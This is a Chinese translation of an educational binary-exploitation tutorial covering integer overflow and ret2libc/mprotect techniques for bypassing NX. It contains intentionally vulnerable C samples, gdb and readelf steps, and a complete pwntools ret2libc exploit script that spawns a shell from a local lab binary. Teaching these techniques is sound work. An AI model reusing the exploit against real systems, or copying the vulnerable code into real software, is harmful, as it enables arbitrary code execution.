文章分类:二进制安全漏洞分析
文章来源:https://infosecwriteups.com/into-the-art-of-binary-exploitation-0x000004-reviving-of-satanic-rop-5ab604b52341
绘画二进制攻击的艺术【基础整数溢出与复活邪恶ROP】
你好,黑客家✋✋
我带着二进制攻击系列回来了,如果你是第一次阅读我的文章,我真诚的希望在开始之前你花一点时间阅读我文章系列的前几部分。
注意:
此时我不会特定的进入某种攻击技术的使用,相反的是,我想要与读者分享我的整数溢出相关知识,包括他的发生和结果之类的。在进入写write-ups文章之前,我会非常完美的覆盖每一个需要的攻击技术和策略。我不准备跳过我的任何话题,所以我在第三部分写了整数溢出的内容。
只有当你确定自己非常了解这些内容了,你才可以跳过这些。你并不是在浪费你的一分一秒的时间,而是在研究你不知道的东西。趁现在还来得及,学习并提升自己,我们马上开始吧。
1.什么是算数溢出?
当你没有足够的位来描述你的算术运算时,就会出现这种结果。例如,计算的结果是超过了指定的内存大小。从技术上讲,当加法器或者减法器使用了带符号的算数时,如果有算数溢出的情况,符号为中的最高有效位将会溢出。当两个3位数字向加在一起时,需要一个4位算数结果会发生这种情况,并且第四位已经被分配用于显示结果的符号(+/-)。溢出漏洞发生后的结果:
1.当两个整数算数相加得到一个负数算数
2.当两个负数算数相加得到一个整数算数
我会展示一个例子:
想象算术 7FFFFFFF 和 6FFFFFFF,两个相加看看发生什么。
两个计算值的总和大于寄存器或者存储内容所能存储的大小。所以,我们两个正数相加得到了负数。
我希望你大概明白了这个概念。
2.但是这又会发生什么呢?在真实世界里会发生什么严重的问题吗?
只需要这么想象一下,在互联网上,我们运行在数字世界(糟糕的事实)。举例来说,计算预算和相关的东西时,接收端会以意想不到的方式受到控制。攻击的艺术打开了没有任何规则的无边的入口。我并不像分享邪恶的东西,所以我希望让你发现为什么这不是一个问题。
但是如果一个算数操作试图产生一个超出给定数范围的数值呢?
3.整数溢出漏洞
整数溢出是属于算数溢出类中的一类,经常发生在整数的值增加到所能代表的最大值以外的数。当这种情况发生时,值最终会变成一个很小的负数。再增加的过程中如果是不可预见的,那么会造成严重的安全问题。典型的情况是有用户可以利用的输入可以造成数字计算。这会生成一个严重的安全问题。这个缺陷有时可以被触发缓冲区溢出,然后执行任意代码。这会导致生成未定义的行为,使得软件崩溃。在涉及有关循环文件因素的情况下,无限循环的可能性会变得很高。万一地址中的值对信息是非常重要的(仅限于控制流),则会发生数据损坏。此外,在缓冲区等其他情况下发生数据循环的可能性很低,会使得内存会降低,不会增加。
发现和预测这种问题变得很困难,因为没有错误提示,没有警告,你得到的基本上是不符合操作的结果。找到它的方法是运算前查看操作数,或者查看两个整数相加的结果。你可以找到避免和发现整数溢出的库。
4.代码分析 | 样本
毫无疑问,这是我写的一个案例。在现实生活中永远不可能出现一个这样的案例。
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main(int argc, char *argv[])
{
char buffer[100];
int Integer_value;
unsigned short sixteen_bits;
if(argc < 3)
{
printf("No input provided...!");
return -1;
}
Integer_value = atoi(argv[1]);
sixteen_bits = Integer_value;
if(sixteen_bits >= 100)
{
printf("******* Oops!! *******\n");
return -1;
}
printf("sixteen_bits = %d\n", sixteen_bits);
memcpy(buffer, argv[2], Integer_value);
buffer[Integer_value] = '\0';
printf("%s\n", buffer);
return 0;
}
我将展示不同类型的输出:
代码1:没有提供输入时
if(argc < 3)
{
printf("No input provided...!");
return -1;
}
代码2:有输入时
printf("sixteen_bits = %d\n", sixteen_bits);
memcpy(buffer, argv[2], Integer_value);
buffer[Integer_value] = '\0';
printf("%s\n", buffer);
return 0;
代码3:>=100时
if(sixteen_bits >= 100)
{
printf("******* Oops!! *******\n");
return -1;
}
到目前为止,上面的代码有什么问题呢?
结果,代码一定是易受攻击的。长度的参数来自命令行,它被转化为无符号整数,保存到整型变量中。如果这个值也不合适,也会被截断。
Integer_value = atoi(argv[1]);
sixteen_bits = Integer_value;
无符号短整型数据表示16位整数,不使用位存储符号。因此,它只能保存0到65535之间的正值。所以,值被转换成无符号短整型时会溢出。
65535在二进制中是1111111111111111(长度为16位)
65536在二进制中是10000000000000000(长度为17位)
直到输入65535以下它在输出结果是正常的。如果输入的超过在65536到65535之间的值,就会发生分段故障。
因为这样,可以绕过边界检查并溢出缓冲区,之后可以使用标准的栈策略攻击这个进程。我放弃这个例子,让你来找到利用方法。
笔记:
1):不是每个分段故障都可以被攻击的,但它仍然属于bug,如果你不会利用,最好假设是可以被攻击的,并且修复它。
2):除此之外,存储小于支持最小整数的值称为整数下溢。
3):整数溢出本身虽然不会导致任意代码执行,但是一个整数溢出可能导致栈溢出或者堆溢出,结果会导致主观上的代码执行。
5.上面的例子展示栈相关的问题,让我们展示堆相关的问题
/** Vulnerable piece of code that I found online. **/int myfunction(int *array, int len)
{
int *myarray, i;
myarray = malloc(len * sizeof(int));
if(myarray == NULL)
{
return -1;
}
for(i = 0; i < len; i++)
{
myarray[i] = array[i];
}
return myarray;
}
这个代码是一个可被利用整数溢出漏洞,它可以导致缓冲区被分配的大小远小于所需要的大小。如果len参数比所需要的要大,例如0x100000004和一个存储的32位数字一样大(0x7FFFFFFF)所以malloc()执行后会分配一个4字节的缓冲区,并且将数据复制到新分配的数组的循环将写入远远超过这个分配的缓冲区的末尾,导致的结果就是堆溢出。
在接下来的文章中,我将带着入侵性的开发利用方法回来。但是现在,我想愉快地结束它。我想告诉你很多关于栈和基于堆的缓冲区溢出漏洞以及如何绕过安全措施等内容。完成所有这些工作后,让我们来研究堆的世界!保持好奇心..!😎😎
6.这一次是巫术的延续!!
我带着第四部分的高级二进制攻击系列文章回来了。首先,工作的忙碌和健康问题让我产生了更新的上的问题,但是现在已经全都好了,让我们开始这部分的内容,什么时候开始?就是现在。
我们早就学习了什么是一个缓冲区溢出,并且如何利用NX来执行shellcode。如果你现在对这个话题比较不熟悉的话,有几个术语比较不常见的。所以如果你能更好的理解这部分内容,效果会非常的理想。如果你完全没有印象,没关系,只需要一些练习。
在深入主题之前,我想告诉你一个绕过NX的常用策略。
7.返回libc攻击
在进入攻击之前,我我们清楚关于libc的问题。Libc是常见的“Standard C library”标准C库函数的简称。这个库中的标准函数可以被所有的C程序使用。你可以从Linux手册中找到他。
图示例:Linux 手册
每次你开发C语言编程时,肯定会用到某些内置的函数,如printf、scanf、puts等。所有标准C语言函数都会被编译成一个文件,命名为标准C库 Standard C library或者libc。这个 C标准库提供了用于任务、I/O处理、内存管理、数学计算、宏(“宏指令”)的数据定义和函数,它是一种表明某些输入如何映射到替换输出的规则或模式。程序员可以将宏Macro将可访问的计算机指令对应于单个程序,从而使变成变成过程不那么繁琐和容易出错。
libc还提供其他的一些操作系统服务,一些语言还在自己的库中内置了标准C库函数。该库可以被调整更好的适应该语言的结构,但操作上的语义仍具有可比性。举例来说,C++语言在命名空间中集成了标准C库的函数。在python中,构建记录对象使用完全的C标准库。Rust允许包含几个C函数的标准C库函数,等等之类的有很多。
标准库函数包含了所有可以被C语言使用的函数。他会在执行时链接到这个库。从利用的角度上来说,理解标准C库函数非常重要,因为我们可以将控制流转向标准C库函数。现在我们来关注系统函数。
因为我们知道在常规的栈溢出攻击中没有栈的保护,所以我们用shellcode的地址覆写了返回地址,让shellcode注射在栈中并且让他执行。然而如果漏洞程序的栈是受保护的,用NX位保护了起来,我们就不再能执行我们的shellcode。这些是如何返回ROP或者称返回导向编程的内容。
在返回libc技术中,返回地址将会用系统函数的内存地址覆写返回地址,系统函数system()存在于目前的标准库函数libc中。
8.C语言库函数-system()
C库函数int system(const char *command)将命令行指定的命令名或程序名传递给主机环境,由命令处理器执行,并在命令执行完毕后返回。
攻击的策略
当我们覆写返回指针到system()函数的地址时,将会跳入system()函数。并且是在我们将命令参数执行的时候。我们想要程序生成shellcode,所以我们让受攻击的程序调用system("/bin/sh")。
bug程序
所以让我们看看这个程序,如果你发现这个例子是我写的,因为我想让你理解这种情况,这是理想的。在我们深入“想到达核心话题”之前,不要在真实环境中预测这类场景,这是因为公平起见。
#include <stdio.h>
void overflow() {
char buffer[64];
printf("try your best\n");
gets(buffer);
}
int main() {
overflow();
}
这个函数overflow是有bug的,所我们执行没有错误,让我们深入一下。
如果失败了或者没有得到任何东西,那么意味着要么你不知道基础内容,要么你没有在之前的部分花时间。
分段故障!!偏移是通过python实现的。现在我们调试一下。
python2 -c 'print("A"*72)' > exp
gdb -q ./ret2libc
r < exp
现在很清楚我们将要控制指令指针rip到我们想要执行的指令中。我恰好在上面铺垫了这个,我要开始了,所有事情的第一步,让我们通过ldd找到libc的基本地址。
cmd:ldd
Ldd是一个Linux命令行实用程序,供用户需要知道可执行文件的共享库条件和共享库的情况。他会输出命令行制定程序或对象所需要的共享库或共享对象。
libc.so.6
所以我们在这里得到了libc的基地址。现在我们需要找到system function和参数/bin/sh来弹出shell。
cmd:readelf
readelf是一个展示各种包括在类Unix系统上的各种信息,例如objdump。
cmd:strings
对人来说,发现可执行文件中的内容是复杂的任务。包括二进制文件,例如程序记录,包括人类可读内容。它主要关注于确定二进制文件的内容以及从二进制文件中提取内容。
我们学会使用这些命令来发现系统函数和参数/bin/sh的基地址。如果你对任何命令有疑问,请查看Linux手册。
cmd:readelf -s /url/lib/libc.so.6 | grep system
cmd:strings -a -t x /usr/lib/libc.so.6 | grep /bin/sh
现在我需要使用二进制中的小汇编片段工具,叫做“gadgets”。这些gadgets可以从栈中弹出多个寄存器,然后调用ret。我们可以用gadgets来建立一个假的调用栈,连续执行,将我们控制的值弹到寄存器中,然后跳转到系统结束。
pop rdi:
9.EXP开发学习
现在已经理解了所有必需理解的东西。通过使用python开发exploit程序并且弹出到shell中。
按照压栈的顺序,先写溢出大小,然后pop rdi,再构造参数/bin/sh的地址,然后是系统函数地址。
#!/usr/env/python
# Author : 7h3h4ckv157
# https://github.com/7h3h4ckv157
# https://twitter.com/7h3h4ckv157
from pwn import *
p = process('./ret2libc')
libc_base_address = 0x00007ffff7dc0000 #----------> 基地址libc
system_fun = libc_base_address + 0x49de0 #--------> 系统函数地址system
bin_sh = libc_base_address + 0x18bb62 #-----------> 参数 /bin/sh
gadget = 0x004011e3 #-----------------------------> POP rdi
payload = "A" * 72
payload += p64(gadget)
payload += p64(bin_sh)
payload += p64(system_fun)
p.clean()
p.sendline(payload)
p.interactive()
p.interactive()
exploit.py
成功编写,我完成了这个python使用的巧妙的脚本。现在我来运行。
成功绕过NX保护,我获得了shellcode,并且绕过了NX位的安全保护。
可能在这个过程中你可能会遗漏shellcode的注入。大概即使我们注入了,也可能因为NX位弹不出来shell。所以我总是说,hackers never quit!
10.函数 mprotect()绕过
m指memory内存,protection指保护。
映射内存区域,也称为共享内存区域,作为在进程间交换数据的大型pool。类Unix操作系统中,mprotection()是一个POSIX系统调用,用来控制内存保护的。这个函数属于安全类函数的一种。它为内存映射设置保护。
摘要:
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
参数使用:
addr:必须改变保护的区域的起始地址。
len:以字节为单位,必须更改保护的区域的长度。
prot:内存映射区域所需保护。
add和len参数作用显而易见,关于prot。
mprotection()函数改变指定的保护。通过prot参数更改为包含进城地址空间的任何部分的整页,从地址addr开始,直到len字节。prot参数则指定是否允许对映射的数据进行读写执行或某一权限。
PROT_NONE:无任何权限
PROT_READ:内存可读
PROT_WRITE:内存可写
PROT_EXEC:内存可执行
开发
有一些系数可以调用mprotection()函数来绕过NX栈。让我们通过注入shellcode和标记区域可执行来找到合适的区域。
函数:
mprotection(void addr,size_t len,int prot);
1.在addr上传递栈地址
2.选用合适的len值(在这里选择十六进制的栈长度)
3.最后,必须在prot参数设置PROT_EXEC,可以将所选区域可执行。
PROT_EXEC:内存可以用来存储指令,然后执行指令。
---
r--
-w-
rw-
--x
r-x
-wx
rwx
所以我需要设置RDI寄存器的地址,RSI寄存器的长度和在RDX寄存的值0x7(rwx)。(64位中的参数调用约定了是RDI,RSI等)
听起来有些复杂甚至会让不少人“迷路”,没关系,这需要时间去理解,需要在技术层面进行概括,而不是简单的重复记忆。
我使用的是我们处理ret2libc时相同二进制文件,是时候开始很好的利用了。
通过调试,可以发现mprotect的地址。
栈的地址必须用addr传递。我检查了所有的栈,所有的概念都在前面呈现了,我现在需要把栈地址放在RDI寄存器中。
下一步是在RSI寄存器中设置长度len,以及在RDX中设置值0x7(rwx)。我通常使用radare2来查找rdi、rsi等简单的小东西。
在ret之前,弹出rsi之后是弹出r15指令。
pop rsi
pop r15
ret
注意:我需要构建一个漏洞,使得r15失效。
使用ldd我可以检测libc的地址。使用强大的ROPgadget工具可以发现RDX gadget。(RDX在我们的二进制文件中没有找到,所以我们需要看看libc)。
ROPgadget.py --binary <path-to-libc> | grep "pop rdx ; ret"
通过引入mprotection()函数,我可以在栈的区域变成可执行区域,因为,我注入infuse我的shellcode,然后执行rip指定的区域,我就得到了shell。
类似的,我可以通过其他技术来弹出一个shell。NX位提供了可靠的安全保护,但并不是绝对的。这在一定程度上限制了攻击者对初始问题的解决,但考虑到还可以利用该漏洞来执行shell,因此安全性并不高。
这教会了我NX不能简单的保护程序不受攻击。
11.安全编译方法?
没有所谓的安全编译方法,即使有,也可以根据漏洞的分类来绕过它。
这算是绕过所有的安全技术了吗?好问题,好答案。
根据我的经验,答案是确实没有。
12.关于ASLR的理解
地址空间随机化(ASLR)是一种强大的计算机安全技术,用来防止利用内存漏洞进行破坏。ASLR随机安排进程关键数据范围的地址空间位置,包括可执行文件的基址,栈空间地址,加载库和块地址,阻止攻击者的jump攻击。
要实现试图对支持NX的二进制文件返回libc攻击,必须找到要执行的代码(就像绕过NX位保护)。攻击者需要知道的位置是随机的,增加了安全性。如果不知道目标进程使用的地址,那么ROP、ret-to-libc攻击和其他利用机制将会是失效的。
ASLR在64位系统上运行得更高效,相当于这些系统提供了更大的熵(随机化能力)。ASLR通过随机分配内存布局中的偏移量,可以更难成功地执行缓冲区溢出攻击漏洞,从而增强了系统的控制流完整性。然而,“checksec”不会涉及ASLR,因为保护是机器的属性,而不是二进制文件的属性。
下面显示的命令将显示系统上是否启用了ASLR。
cat /proc/sys/kernel/randomize_va_space
Output
0 = Disabled
1 = Conservative Randomization
2 = Full Randomization
接下来的任务就是绕过NX位保护+ASLR。
NX和ASLR的浪漫创造了一个可靠的内存内置保护机智。我需要努力绕过,一旦绕过了ASLR,通常就可以直接使用面向返回编程来利用NX。
我该做什么呢?我该怎么做?
我不想让实用的文章变得冗长,花时间在你的理解,所以暂时结束。我也需要花些力气来弄清楚事情是如何运作的。每个人都厌恶填鸭式教学讲述,在接下来的文章中,成功的话,我将演示如何做到绕过SLR。